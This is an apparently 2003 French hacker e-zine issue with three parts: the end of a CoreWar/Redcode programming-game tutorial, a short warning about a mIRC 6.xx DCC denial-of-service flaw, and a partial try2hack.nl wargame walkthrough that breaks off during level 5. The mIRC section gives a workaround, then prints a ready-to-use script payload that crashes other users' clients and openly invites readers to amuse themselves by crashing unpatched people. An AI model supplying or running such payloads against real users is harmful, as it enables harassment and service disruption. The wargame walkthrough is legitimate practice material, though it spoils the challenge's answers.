mov	@11	@12  ;\
cmp	#1	10   ; \
jmp	4            ;  \
add	#1	8    ;   \Phase 2: cette  boucle  copie le programme dans
                     ;    \un autre bout
add	#1	8    ;    /de la memoire puis va la bas
jmp	-5           ;   /
mov	#-16	-129 ;  /
mov	#-16	-129 ; / 
mov	#-150	-129 ;/
JMP	-147        ;/
dat	-16          ;compteur de bombardement
dat	-16          ;compteur de copie du prog (1er parametre du mov)
dat	-150         ;compteur de copie du prog (2eme parametre du mov)

Se  Warrior  (faible)  bombarde   la  mmoire  en  priant  de  tomber sur
l'adversaire et en mme temps il met  une  case  pige et vrifie qu'elle
n'a pas change mais si elle change alors  il va  a  la  phase 2  ou il se
copie dans un autre bout de  memoire  et  complte  son  travail  la bas.
Mais le point faible du prog s'est qu'il va s'auto dtruire aprs un
certain temps .

2/L'anti IMP :(par un anonyme)

jmp 2 ;saute le jmp 23 (sinon on se retrouvera en plain dat)
jmp 23 ;c'est avec sa qu'on va bombarder les 10 cases d'avant
mov -1 -3  ;\
mov -2 -5  ; \
mov -3 -7  ;  \
mov -4 -9  ;   \Bombardement des 10 cases s'avant
mov -5 -11 ;    \
mov -6 -13 ;    /
mov -7 -15 ;   /
mov -8 -17 ;  /
mov -9 -19 ; /
mov -10 -21;/
jmp  -10   ;reprend le bombardement

Ce Warrior ne fait que tue le IMP (vous l'avez devin je crois, non ?)
sa tactique est trs simple :
Il bombarde  les  10 case avant  son code avec des jmp 23 pour que IMP 
l'excute et se lance vers 
un dat .

3/L'anti IMP +add'on de copie (add'on fait par SeriousMan ):

Le But de mon ajout est de faire en sorte  que ce warrior  se  dplace au
lieu d'tre immobile ,ce ne lui ajoute rien en force mais c'est seulement
pour vous faire dcouvrir comment dplacer un  warrior  voici  le code (a
vous de le dcoder;):

jmp 7
add #-5 4;\ces deux add pour que le prog marche
add #-6 4*/ apres sa copie ( les valeurs des dat sont chang avant d'etre
copie)
jmp 4 ; saute les dat
dat 20 
dat -5 /* compteur pour voir si le programme  a fini  de  se  copier  (et
serve pour d'autre chose) */
dat 40 ;pour savoir ou copi le warrior (deuxieme parametre du mov)
jmp 2 
jmp 60 ;va au programme copie
mov -1 -10
mov -2 -12
mov -3 -14
mov -4 -16
mov -5 -18
mov -6 -20
mov -7 -22
mov -8 -24
mov -9 -26
mov -10 -28
add #1 -14 ; ajoute 1 a la source 
add #1 -14 ;ajoute 1 a l'adresse
mov @-16 @-15 ; copie une case
cmp @-17 @-18 ;eske le tout le code s'est copie 
jmp 24 ; si oui alors va a la nouvelle adresse
jmp -15 ;si non alors fini ton boulo


4/exercices:
a/Changez le code du anti IMP + plug'in pour qu'au  lieu de bombarder les
10 cases avant  il va  bombarder toute la  mmoire ( il  est impratif de
savoir faire a  si  vous  ne  pouvez  pas  le faire je vous conseille de
relire se que j'ai cris avant).

b/Gerimini :

add #99 -1
mov @-3 @-2
cmp -4 #10
jmp 4
add #1 -6
add #1 -6
jmp -5
mov #99 92
jmp 92

Vous n'avez que comprendre le code avant de l'executer .

5/Bombarder (par anonyme):

jmp 2 ; saute le dat
dat 8 ;le compteur du bombardement
add #9 -1 ;on ajoute 9 au compteur 
mov -2 @-2 ;on bombarde 
jmp -2 ;puis on reviens pour bombarder la neuvieme case aprs la 
derniere qu'on a bombarde

Ce code est simple il bombarde tout les 9 case une avec un dat ,il se
serve d'un compteur qu'il augmente de 9 aprs avoir bombarder.

6/Double bombarder (par moi ,SeriousMan):

jmp 3 ;saute les dat
dat 14 ;le compteur du bombardement positif
dat -8 ;le compteur du bombardement negatif
add #15 -2 ;augment le compteur du bombardement positif
sub #15 -2 ;decremente le compteur du bombardement negatif
mov -3 @-3 ;bombarde en avant (positivement)
mov -5 @-5 ;et en arriere (negativement)
jmp -4

Ce Warrior bombarde comme son aine le Bombarder mais au lieu de bombarder
dans une seul sens il bombarde dans deux .


Bon je crois que j'tait clair et  simple dans  cette  partie et que vous
avez compris tout ce que je disais car  c'tait  la parti facile  donc ne
la quitter pas que si vous l'avez tout compris .
Ps:Pour la prochaine parti je ne dtaillerai pas bc les codes .









IIIIIIIIIIIIII       /   
IIIIIIIIIIIIII      /
  III    III       /
  III    III      /   Deuximme parti :
  III    III     /
IIIIIIIIIIIIII  /
IIIIIIIIIIIIII /



IV/Mars et le ICWS' 94:

1/MARS :

MARS est l'acronyme  de Memory Array Redcode Simulator (en FR: Simulateur
de Tableau de mmoire RedCode ) , c'est le plus populaire  et le  premier
simulateur de RedCode .
MARS est disponible dans plusieurs  platform :Dos ,Unix ,Linux ,Mac, mais
dans tout les cas sans l'interface graphique et  ces  jolies bouton,  ici
tout ce fait depuis la ligne de commande .
MARS marche  avec la  version  94  du  RedCode ( ICWS' 94 ) mais  il  est
compatible avec la version 88 (avec l'option -8).
La grande diffrence entre MARS et L'environnement CoreWarrior  de Michel
CASABIANCA rside dans le syntaxe , donc  vous  ne  pourrez pas  utilisez
les codes de l'un sur l'autre .
Il faut faire quelque changement pour cela (on le verra aprs).
Mais le plus grand Changement de  MARS  rside qu'il   soit  Multitche :
Les Warrior commence en une seule tache mais il pourrons  aprs  splitter
en autre tache aprs que tout les tache du Warrior seront tue le  Warrior
sera dclare mort.
Remarque : Les sources  de  MARS sont disponible gratuitement dans le zip
pmars08s.zip.
2eme Remarque: La dernire version de MARS date de 95 .

a/Installation :
Pour installer MARS sous dos c'est tres facile :
1-Telechargez MARS ici : http://www.koth.org/pmars (La derniere version 
de UNIX est la 0.9 et pour le win c'est la 0.8).
2-Dezzipez le fichier  pmars08.zip  dans  un  dossier -pour moi ca sera 
C:\Mars\).
3-Ouvrez une  fenetre DOS et faite CD C:\Mars\ - pour vous sa sera le 
dossier ou vous l'avez dezzipez).
4-enfin faites : PMARSV [option] Fichier1 Fichier2...Fichier n. pour 
voir le combat s'executer graphiquement ou : PMARS [option] Fichier1 
Fichier2...Fichier n. pour ne voir les resultats du combats.

Pour installer MARS sous  Linux :
Je ne l'ai jamais essayer mais je crois qu'il vous faut Linux SVGA 
library (libvga) version 1.12 ou plus puis compiler le tout (contenu 
dans pmars08s.zip) et excuter. mais je vous conseille de voir le ReadMe 
(en anglais) pour plus d'information.

b/Les Options:
(je ne mettrais que les options principale)
-r: Nombre de Round a jouer (par defaut 1)
-s: La taille de l'arene (par defaut 8000)
-c: Nombre de cycle avant la fin du combat (par defaut 80000)
-l: La longueure maximale du soldat (par defaut 100)
-F: La position du 2eme warrior
-e: Activer le debuger (tres tres interressante option)
-b: Ne pas afficher les sources 
-8: Appliquer les regles ICWS'88

c/Utilisation:
(tout ce que nous ferions avec MARS sera sous DOS ,ou sous le shell)

pmars08.zip est fournis avec quelque code de  quelque  Warrior connu 
comme rave ,USELESS,Tornado  ou aeka (Tout les Warrior sont les .red)
donc on les utilisera pour notre premiere utilisation (bonne phrase;):

pmarsv -r 5 -b rave.red aeka.red (faites sa en plain cran sinon vous
ne verrez rien)

(le -r 5 pour qu'on joue 5 round et le -b pour qu'il ne nous montre 
pas les sources (c'est chiant)).

On clike sur entrer et Boom on vois des 1 ,des ., des - et + le tout
color en vert et en bleu et apres qu'on clique sur n'importe quelle
touche on vois:

Rave by Stefan Strack 7
Aeka by T.Hsu 7
Results: 2 2 1

Bon pour que vous comprenez ,les resultas sont affiche dans cet ordre:
a b c 
a: Le nombre de round gagne par le premier Warrior (dans notre example
c'est Rave)
b: Le nombre de round gagne par le deuxieme Warrior
c: Le nombre de round nul

Remarque: Si par ex il y a 3 Warrior  qui se  battent  en  meme temps
(c'est une nouvelle fonctionalite qui n'etait pas presente dans notre
premier simulateur) le c sera le nombre de  round  gagn  par le 3eme
warrior et le d sera le nombre de round nul).

Les Scores sont calculer par cette methode:

                   warrior 1:  points = wins1 * F + draw's * F
                   warrior 2:  points = wins2 * F + draw's * F
(en anglais mais pas tres difficile a comprendre ;)
ou F par defaut egale a : (W*W-1)/S ;W=Nombre des Warriors participant
et S le nombre de survivant.


d/L'interface graphique:
En excutant vos Warrior vous avez remarque les 0, . et 1 colore qui 
dansent dans l'cran , tout ces caractre signifie une chose :
-Toute couleur dfinie un Warrior (le premier sera le bleu et le deuxime sera le vert)
-Les 0 et 1 signifie que le programme a excuter un instruction dans cette case
-Les nombres qui flashe signifie que le Warrior (ou une parti du Warrior) a excuter
dans cette case une instruction illgale
- "." Une case qu'on cris sur ou on lis de
- "-" Une qu'on dcrmente
- "+" Une case qu'on ajoute

Remarque :
L'arne de CoreWar est de 8000 case et l'cran est constitue de 2000 caractre
donc tout caractre constitue 4 case (le dernier accs des 4 case est afficher).


e/Le dbuguer
REMARQUE: DANS CETTE PARTI JE NE VAIS QUE VOUS INTRODUIRE LE DEBUGUER DE MARS,
JE N'APPROFONDIRAIS PAS  DANS SES FONCTIONS. ( PEUT ETRE JE  FERAI CA DANS UN
AUTRE TUTORIAL ( une autre catastrophe ;).

On commence par mettre cela dans imp.red :
;redcode-94
;name IMP
;author ChaiPo
 mov    0,1	
 end

puis on execute:
pmarsv imp.red -e -s 15 
 (le -s pour limite l'arne de 15 case pour meilleur lisibilit)

Vous pouvez avec les flches haut et bas navigue dans la mmoire
La ligne bleu est celle en cours d'excution
Utilisez s (step) pour excuter la ligne
Utilisez r pour voir la sommaire des registres (vous pouvez voir ici le nombre 
de vcycle passe, nombre de processus active ,la round..)
Utilisez "entre" au lieu de retaper la dernire commande
Utilisez e [case] (edit) pour diter l'adresse de la case
Utilisez c (continue) pour quitter Le dbuguer est continue l'excution 
normalement
Utilisez go pour continuer l'excution jusqu'a la prochain trace
Utilisez fill pour mettre une instruction dans une adresse
Utilisez Trace [range] pour mettre un trace (Un Break Point) dans une case 
Utiliser q pour quitter MARS
Utilisez help pour lister les commandes

f/Le syntaxe:

La premire chose qu'il faut savoir que les Warrior (.red) commence par un header:

;redcode-94 (La version de RedCode Utilise)
;name Warrior   (Le nom du Warrior)
;author Mr Dupont  (L'auteur)
;strategy Carpet-bombing scanner based on Agony and Medusa's   \   La strategie 
;strategy (written in ICWS'94)                                 /   utilis
;strategy Submitted: @date@                                   /    par le Warrior
;assert CORESIZE==8000       (La taille de l'arne utilise et les autres options 
ncessitant pour l'excution normale du warrior)

La deuxime changement pour MARS c'est que le A(Field) et le B(Field) sont
spare avec un "," aussi on trouve qu'on peut designer des cases ou nombre
par un nom par ex :
----------------------------------------------------------------------
           jmp  debut         ;saute les dat jusqu'a debut
Bomb       dat  10            ;on va utiliser ce dat pour bombarder
debut      mov  Bomb,   @Bomb ; \routine 
           add  #10,  Bomb    ; /de
           jmp  debut         ;/ Bombardement
           end                ;fin du Warrior
----------------------------------------------------------------------

Simple, non.
Autre chose: on peut donner a des variable un nom avec equ .
Le mme code devient comme a :

----------------------------------------------------------------------

           x    equ   #10
           jmp  debut
Bomb       dat  x
debut      mov  Bomb, @Bomb
           add  x,    Bomb
           jmp  debut
           end
----------------------------------------------------------------------

Ca nous simplifie la vie, non ?

On va utilise se qu'on a appris pour refaire L'anti-IMP (vous souvenez 
de lui ?)

----------------------------------------------------------------------

;redcode-86
;name Anti-IMP
;author Mr Dupont 
;strategy Bombarder les 20 cases avec des jmp 23 pour que IMP l'excute 
;strategy et tombe sur les dat.
;assert CORESIZE==8000       
         jmp Debut
Bomb     jmp 23 
Debut    mov Bomb, -3  
         mov Bomb, -5  
         mov Bomb, -7  
         mov Bomb, -9  
         mov Bomb, -11 
         mov Bomb, -13 
         mov Bomb, -15 
         mov Bomb, -17 
         mov Bomb, -19 
         mov Bomb, -21
         jmp  Debut


-------------------------------------------------------------------------
Note:J'ai essayer Ce Warrior Contre l'IMP (dans 1000 round) et il a gagn
912 perdu aucune fois et le match etait nul 88 fois.




2/ICWS'94:
Beaucoup de changement on etait fait au ICWS'94, je ne vais pas tout les
ecrires mais si vous voulez les savoire liser  redcode.ref  (disponible 
dans pmars08.zip) .

Le premier changement est dans la prsence deux valeur a tout instruction

ex: dat #15 est dat #0, #15
    jmp $15 est jmp $0, $15

Cela aura comme consequence la presence des instructions qui agit sur la
premiere valeur ( A-Field ) et d'autre agissant  sur la deuxiemme valeur
(B-Field),au lieux de cela les createurs du ICWS'94 on eu une ide geniale:
Les modifiers .
---------------------------------------------------------------
Le syntax d'une ligne de code devient :
Label Commande A-Field, B-Field
(Une "commande" est une "instruction" basic avec un "modifier".)
(Une "field" est une methode d'adressage avec un nombre.)
---------------------------------------------------------------
Pour que vous comprenez les modifiers on va voir un example(dwarf):

 dat.f	#0,	#12
 add.ab	#4,	$-1	
 mov.i	$-2,	@-2
 jmp.a	$-2,	$0


DAT .f
Le .f veux dire les deux field mais note que la data est dans la B-Field.

ADD .ab
Prend le nombre de (A-Field) est l'ajoute au nombre contenu dans la valeur
de la (B-Field) est mes le tout dans la (B-Field)

MOV .i
Le .i veux dire l'instruction complete 

JMP .a
Le .a veux dire que la adresse de destination est dans la (A-Field)

Pour que vous comprenez plus voici une dmonstration rippe du Steve's 
Guide for Beginners Iss 6 (v3):

st  add.a  #1,   #10		#2,	#10
    add.ab #1,   #10		#1,	#11
    add.ba #1,   #10		#11,	#10
    add.b  #1,   #10		#1,	#20
    add.f  #1,   #10		#2,	#20
    add.x  #1,   #10		#11,	#11
    add.i  #1,   #10		#2,	#20

    add.a  $a1,  $a2
    jmp    $ab
a1  dat    #1,   #10		#1,	#10
a2  dat    #4,   #40		#5,	#40

ab  add.ab $ab1, $ab2
    jmp    $ba
ab1 dat    #1,   #10		#1,	#10
ab2 dat    #4,   #40		#4,	#41

ba  add.ba  $ba1, $ba2
    jmp    $b
ba1 dat    #1,   #10		#1,	#10
ba2 dat    #4,   #40		#14,	#40

b   add.b  $b1,  $b2
    jmp    $f
b1  dat    #1,   #10		#1,	#10
b2  dat    #4,   #40		#4,	#50

f   add.f  $f1,  $f2
    jmp    $x
f1  dat    #1,   #10		#1,	#10
f2  dat    #4,   #40		#5,	#50

x   add.x  $x1,  $x2
    jmp    $i
x1  dat    #1,   #10		#1,	#10
x2  dat    #4,   #40		#14,	#41

i   add.i  $i1,  $i2
    jmp    $0
i1  dat    #1,   #10		#1,	#10
i2  dat    #4,   #40		#5,	#50

    end	   st


Enfin ,voici la liste complete des modifiers :

    .A   L'instruction lis et ecris sur la (A-Field)

    .B   L'instruction lis et ecris sur la (B-Field)

    .AB  L'instruction lis de la (A-Field) et de la (B-Field) puis
         ecris dans la (B-Field)

    .BA  L'instruction lis de la (B-Field) et de la (A-Field) puis
         ecris dans la (A-Field)
    
    .F   L'instruction lis du A- et B-Field et ecris sur A-et B-Field
         (de A vers A et de B vers B)

    .X   L'instruction lis du A- et B-Field et ecris sur A-et B-Field
         (de A vers B et de B vers A)

    .I   L'instruction lis et ecris l'instruction complete


Un autre changement dans le ICWS'94 est  dans l'apparition de nouvelle methodes 
d'adressage :

    <       addressage predecrement indirect utilisant la B-field 
(C'est comme l'adressage indirect mais en plus il decrement la valeur de 
la B-field )
    >       adressage postincrement indirect utilisant la B-field
(C'est comme l'adressage indirect mais en plus il ajoute 1 la valeur de 
la B-field )
    *       adressage indirect utilisant A-field
(C'est comme l'adressage indirect mais il utilise la A-field )
    {       addressage predecrement indirect utilisant la A-field 
(C'est comme l'adressage predecrement indirect mais au lieux d'utiliser 
la B-field il utilise la A-Field)
    }       adressage postincrement indirect utilisant la A-field
(C'est comme l'adressage postincrement indirect mais au lieux d'utiliser 
la B-field il utilise la A-Field)


Enfin le dernier et le plus important ajout dans l'ICWS'94 est l'ajout 
de nouvelles instruction :

SPL Split le warrior, en produisant un nouveau processus .
Remarque:Aprs avoir splitter votre Warrior en N processus,tout processus
s'executera a une vitesse 1/N de la vitesse original si vous ne comprenez
pas c'est tout a fait normale ---->c'est pour cela que je vais vous faire
un ptit hmm...grand exemple pour vous (ATTENTION J'AI PRIS CETTE  EXAMPLE
ET SON EXPLICATION DU  1ER  NUMERO  DE  LA  NEWSLETTER  COREWAR  et c'est
parce qu'il est vraiment gnial):

EXAMPLE :
##################################Start##################################
	start	spl	1
		mov	-1,	0	;produit 3 processus parallle

	silk	spl.a	@0,	100	;split
		mov.i	}silk,	>silk	;se copie
		jmp.a	silk,	}silk	;repte la meme chose

Les premires deux lignes produit 3 processus qui excute la mme ligne 
l'un aprs l'autre, puis fasse la mme chose avec la suite. La  premire 
ligne cre un nouveau processus qui va s'excuter dans la suivante case 
(start+1), puis le processus 1  copy la premire case (spl 1)  avec  le 
mov ,enfin vient le tour du processus 2 qui va gnrer un 3eme processus 
dans silk :

--------------*pour le prcessus1 #pour le 2 et " pour 3-----------------
*spl	1          |spl	    1        |spl	1 | On a 3              |
mov	-1,	0  |*mov    -1,	   0 |#spl	1 | processus           |
On gnre le 1er   |on copy le spl   |On gnre le|                     |
Processus          |                 |processus 2 |                     |
------------------------------------------------------------------------

(Je ne vais pas dtailler la prochaine section du  code  mais si vous 
n'avez pas compris une chose vous pouvez voir le premier numro de la 
newsletter CoreWar dans la section Tips&Hints ( C'est en anglais ) )

Aprs a le Warrior gnre 3 autre processus aprs 100 cases ou il va 
recopier son code la bas ( pas tout les lignes mais juste  les  trois 
dernire, avant de reprendre son travail dans l'autre place (+100) et 
continuer a faire cela a l'ternit (quelle fin romantique).

####################################Fin##################################

    MUL     Multiplie A par B, sauve le rsultat dans B.
    DIV     Divise B par A, sauve le rsultat dans B si A <> 0, sinon 
termine.
    MOD     Divise B par A, sauve le reste dans B si A <> 0, sinon termine.
    JMN     Saute vers A si B est diffrent de 0 .
    DJN     Dcrmente B, si B est diffrent de 0, saute vers A.
    SLT     Saute la prochaine instruction si A < B.
    SEQ     Saute la prochaine instruction si A = B.
    SNE     Saute la prochaine instruction si A n'est pas gale a B.
    NOP     No  opration ( ne fait rien (un ;) pour les cracker :) ).


La dernire chose pour la fin de cette parti :
les pseudo-instruction (Traduction de pseudo-OpCode), se sont comme des 
instructions mais pas des instruction (quelle explication clair!! ;) les 
voici:

ORG start           Spcifies le commencement du code (a peu servir au
                    lieu du jmp des dat)

END [start]         Fin du code

[count]  FOR expression      rpte l'instruction jusqu'a ce que        
ROF                         "instruction" aye une valeur de true,
                             le compteur commence depuis 1 est incrment
                             a chaque fois (c'est la mme chose que le
                             "for" des autres langages (C, C++, PHP..)


Je crois que je n'ai rien oublie, pour la fin (de cette parti (ICWS'94) 
C'est long, mais c'est ncessaire) je vous conseille de lire 
RedCode94.ref.


3/KotH:
Vous avez appris a faire des Warriors mais maintenant vous voulez participe dans 
des comptition et dfier des autre passionne de ce magnifique jeu : J'ai une 
solution KotH!!!
>>>KotH ,koi ? (Traduit du FAQ)
King Of The Hill (KotH) est une comptition (Championnat) valable pour tout le 
monde par email. vous pouvez entrer en envoyant un email avec votre Warrior en 
RedCode vous recevrez un reply avec les rsultats de votre Warrior contre les 
autres Warrior de la Comptition

Il y'a deux style de championnat de KotH :
#Classique: Les match (ou combats) ce fait avec 2 Warrior, votre Warrior jouera 
100 combats contre 20 autres Warrior qui sont dans la comptition
Vous recevez 3pts quand vous gagnez 1pts au cas du nulle et rien si vous perdez .
Apres tout round les scores sont refrechis, les Warrior sont mis du haut vers le 
bas si vous avez la 21eme place vous serez kiker du Hill
(Championnat)

#Multi-Warrior: Dans ce style tout les warriors se combatte en mme temps
les scores sont calcule complexement, Bref les point sont calcule a partir de 
nombre des warriors qui reste vivant aprs la fin du round

URL: http://www.koth.org/
Email (ou vous envoierez votre Warrior's): koth@koth.org

ATTENTION: Pour tre accepter il faut que les warrior's envoyer a KotH aie un 
header (le truc du type: 
;redcode-94 (La version de RedCode Utilise)
;name Warrior   (Le nom du Warrior)
.... (Revenez a la page 15)



IIIIIIIIIIIIIIIIIIIII       /   
IIIIIIIIIIIIIIIIIIIII      /
  III    III    III       /
  III    III    III      /   Troisime partis :
  III    III    III     /
IIIIIIIIIIIIIIIIIIIII  /
IIIIIIIIIIIIIIIIIIIII /


I/References:
(Beaucoup de parti de mon article son traduit de ses references)

corewarrior.pdf (la newsletter)
faq.pdf         (La FAQ officielle du CoreWar)
hints.pdf
introintoart88.pdf
genetic.pdf
newsletter.pdf (une autre newsletter)
tutor.pdf      (Beginner's guide to RedCode 1)
tutor2.pdf     (Beginner's guide to RedCode 2)
SGB.pdf        (Steve's Guide For Biginer Iss)
www.koth.org (Vous trouvez tous ici)


II/Conclusion :

Ouf, j'ai fini,
Beaucoup de chose sont change depuis que  j'ai  commence  a ecrire cette
article, (J'ai change de ptit  amis,  appris  le PHP  et  lu la nouvelle
PcTeam lol)  par  ex  au  commencement (je ne  me souviens  pas  de date
precise mais je crois que a fait a peu prs un mois ou 1  mois  et 1/2)
j'avais l'ide de faire un  p'tit  article sur CoreWar ,une introduction
pour secouer la curiosit du lecteur :) et a la fin je me retrouve  avec
un long tutorial de 22 pages, putin 22 pages , j'ai toujours pas compris
comment j'ai ecris-traduit tout a, au commencement je croyais qu'crire
un article  est  une  simple  chose  de 5mn ou  10 mais  maintenant j'ai
compris que c'est une chose trs fatigante mais vraiment  TRES FATIGENTE
ET DIFFICILE ,pour la fin je souhaite que  quelqu'un  s'intresse a 
mon article ,qu'il soit pris par  un zine  (MindKind ou IOC par ex) ,que
je  reois  des  email  remplis  de  question  de soutient a mon adresse
(  seriousman@altern.org    ) ,  car  sinon  sa  serai  vraiment  chiant
enfin je remercie Winamp et  tout  mais  mp3 pour leur prcieux soutient
(Avril Lavigne, Children Of Bodom, TaTu, Red Hot Chilly Pepers, OffSpring, 
KorN..)

A+

III/Thankz:
#hianda ,#newffr, #immortal-hack, #activism, madchat.org, Shmeitcorp,
TNT (pour l'idee) newshackers.com, jeuxvideos.com, PcTeam , attilajc,
MrPhilex.org , Apoclypse, IOC, DeathlyBy , HackOff , KcP ,  Turlututu
Trax0r, Zamer, MindKind, Exces, Billou, mamere .... et tout  ceux que
j'ai oublie .




Ecris Par SeriousMan
-------------------------------------------------------------------------
Cesse de chercher ta place dans ta vie, ta place te cherche.  __Kalif Ali

 
    .----- - -----------------------.
    |         /MinDKinD100      .---'----------- ---------- ------- ------.
    '-------- - -------------- -|          seriousman@altern.org          |    
                                '-------- - ----------- ------------ -----'




     
     Warning :  Mirc 6.xx Denial of Service in DCC modules.
     
     Rcemment est sorti un D.o.S contre les capacits DCC de mIRC 6.xx la
     faille plutt simple fait tout simplement planter mIRC. Pour vous  en
     protger, vous n'avez qu'a ignorer tout vos DCC (/ignore -wd *) ou  a
     downloader le script accessible via l'adresse http suivante :

     http://perso.wanadoo.fr/fred74-/exploit.html
     
     ou plus directement 
     
     http://membres.lycos.fr/james3950/patch/patcherreurirc.ini

     Hint supplmentaire, si vous avez ignor -wd *,
     on peut faire exception avec /ignore -x nickname 
     
     Si  votre  dada c'est  plus  de faire  planter  le monde,  voici  une
     reprsentation en mIRC script de la dite faille :
     
     /.raw PRIVMSG $nick : $+ $chr(1) $+ DCC SEND "a a a a a a a a a a a a a a a 
     a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a 
     a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a 
     a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a 
     a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a 
     a a a a a a a a a" 6666666666 66666 $+ $chr(1)

    
     Evidemment la faille a t utilise massivement, il est donc probable
     que un trs bon pourcentage de gens (surtout les gens important) soit
     patch d'une faon ou d'une autre d'ici trs peu de temps si ce n'est
     dj fait a  la parution de  ce ezine, mais  Internet tant un  vaste
     endroit, vous trouverez srement 1 ou 2 tata pour vous amusez quelque
     10 minutes entre 2 lignes de code.





    .-----------[MinDKinD100\#100.03]------- ----------. [M]ind[K]ind #100
    |                                        ;         | - 23/08/03   
    | .            try2hack.nl                        | - [FunkY]
    |                           aka                    '------------- ----.
    |                               try2hack.nll                          | 
    |        _____                                               ;        |
    '--------------------- ------[again, again n again.]---- -------- ----'                 


Try2hack.nl Walkthrough by funky@mindkind.org 

-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Level 1: Ma grand-mere peut hacker aussi.
-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Un view source suffit:

-=[ level1.html ]=-
 
  <script language="JavaScript">
  <!--
  function Try(passwd) {
     if (passwd =="h4x0r") {                         
        alert("Alright! On to level 2...");
        location.href = "level2-xfdgnh.xhtml";        
     } else {
        alert("The password is incorrect. Please don't try again.");
        location.href = "http://www.disney.com/";
     }
  }
  //-->

-=[ end ]=-

Y'a pas grand chose a dire la dessus...

Pword : h4x0r
URL 2 : www.try2hack.nl/levels/level2-xfdgnh.xhtml


-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Level 2: swf, did ya grab my ass?
-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

-=[ Partie interessante du source ]=-

Enter the username and password below to continue:<br><br>
  <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" 
          codebase="http://download.macromedia.com/pub
                          /shockwave/cabs/flash/swflash.cab#version=5,0,0,0" 
          width="300" height="200">
          
    <param name="movie" value="level2.swf">
    <param name="quality" value="high">
    <param name="bgcolor" value="#FFFFFF">
    <embed src="level2.swf" 
     quality=high bgcolor="#FFFFFF"  
     width="300" height="200" 
     type="application/x-shockwave-flash" 
     pluginspage="http://www.macromedia.com/shockwave
                        /download/index.cgi?p1_prod_version=shockwaveflash">
     </embed>
  </object>     
  
-=[ end ]=-

Le login/password, n'est dans le source, comme vous l'avez surment remarquer. 
Peut-etre que c'est dans le embeded src -> level2.swf? Pour le grabber:

   wget www.try2hack.nl/levels/level2.swf 
   
-=[ Extrait interessant de level2.swf ]=-

	txtUsername try2hack                  
	txtPassword irtehh4x0r!
	level3-.xhtml                            

-=[ end ]=-


-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Level 3: Java Script Externe
-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


-=[ yada yada yada...]=-

<script language="JavaScript">
      <!--
      pwd = prompt("Please enter the password for level 3:","");
      if (pwd==PASSWORD){
        alert("Allright!\nEntering Level 4 ...");
        location.href = CORRECTSITE;
      }
      else {
        alert("WRONG!\nBack to disneyland !!!");
        location.href = WRONGSITE;
      }
      PASSWORD="AbCdE";         
      CORRECTSITE="level4-sfvfxc.xhtml";        <---- Almost a hacker.
      WRONGSITE="http://www.disney.com";        <---- pr0n
      //-->
    </script>

-=[ end ]=-

AbCdE ca marche pas non....abcde non plus et ABCDE non plus, et disney ca 
suck. Y'a une ligne que j'avais pas vue la premiere fois qui est: 

        <script src="JavaScript"></script>           


--http://www.try2hack.nl/levels/JavaScript--
   PASSWORD = "try2hackrawks";                     
   CORRECTSITE = "level4-kdnvxs.xhtml";               
   WRONGSITE = "http://www.disney.com";            
--------------------------------------------

Ah...la ca marche...yeah!

-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Level 4: applets reverse engineering
-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Ya juste une ligne de cool dans cette page la qui est:

  <applet code="PasswdLevel4.class" width="370" height="220"></applet>


meme pas besoin de wget pour la grabber: 
	www.try2hack.nl/levels/PasswdLevel4.class

Hex editer la .class ca ma rien donner d'interessant a part l'idee de me rouler
un ptit bat avant de continuer ce challange la... Ce qui ma donner l'idee de
googler: "java decompiler" qui a ensuite donne ca: 

http://download.com.com/3002-2417-10146169.html?tag=dir     

C'est finalement JAD avec un front-end plutot amical t-k, je sais pas si c'est 
moi, mais le java c'est laite apres un spliff... Y'a encore une fois juste une 
ligne qui est relativement cool dans le script:

   infile = new String("level4");


-=[ http://www.try2hack.nl/levels/level4 ]=-

 level5-fdvbdf.xhtml      
appletking                
pieceofcake               

-=[ gah ]=-


-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-                          
Level 5: VB 3.0 Reverse Engineering
-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Download: http://www.try2hack.nl/levels/level5.zip

contient: level5.exe      -> leet vb3 code
          level5.txt      -> une des raisons majeur qui fait que VB ca suce.
                            
Yup, VB3 store les strings en clear text. Si vous hexediter level5.exe comme 
les leets que vous etes ca va donner quelque chose d'interessant qui ressemble 
a ca:

-----------ClearText du .EXE interessant---------
http://www.try2hack.nl/levels/level6-ksghvb.xhtml
txtUsername=AlmostAHacker
txtPassword=ZqrE01A2d
-------------------------------------------------

Le URL vous donne: Not Level 6, Search Harder

Donc...tristement il va falloir le Reverse Engineerer pour vrai...dommage 
mais bon. J'y suis aller dans le simple, j'aurais pu me servir de softice, 
mais il est tard et je suis frost, donc jme suis dit que le kit de DoDi 
ferrait l'affaire, pis sinon ben que j'allais me coucher pis fuck that.

DoDi's VB tool box: google -> vbdis26e.zip  
                                  
Une fois reversed ca donne genre 4-5 files approximativement:
                                 
 
---------LEVEL5.MAK------------- 
LEVEL5.FRM
main.txt
Module1.BAS
Title="LEVEL5"
ExeName="level5.exe"
--------------------------------
                                                                    
-------Module1.BAS--------------
' Module1
Option Explicit
Const c000A = " txtUsername=AlmostAHacker "
Const c000E = " txtPassword=ZqrE01A2d "
-------------------------------- 

-----MAIN.TXT--------------------
' main.txt - global definitions
Global Const gc0006 = "0123456789abcdefghijklmnopqrstuvwxyzABCDEF"
                      "GHIJKLMNOPQRSTUVWXYZ.,:;-*+=~|&!_$#@()[]{}<\/>"

Global Const gc000A = "http://www.try2hack.nl/levels/level6-ksghvb.xhtml"
---------------------------------

------LEVEL5.BAS----------------
' LEVEL5.FRM
Option Explicit

Sub cmdLogin_Click ()
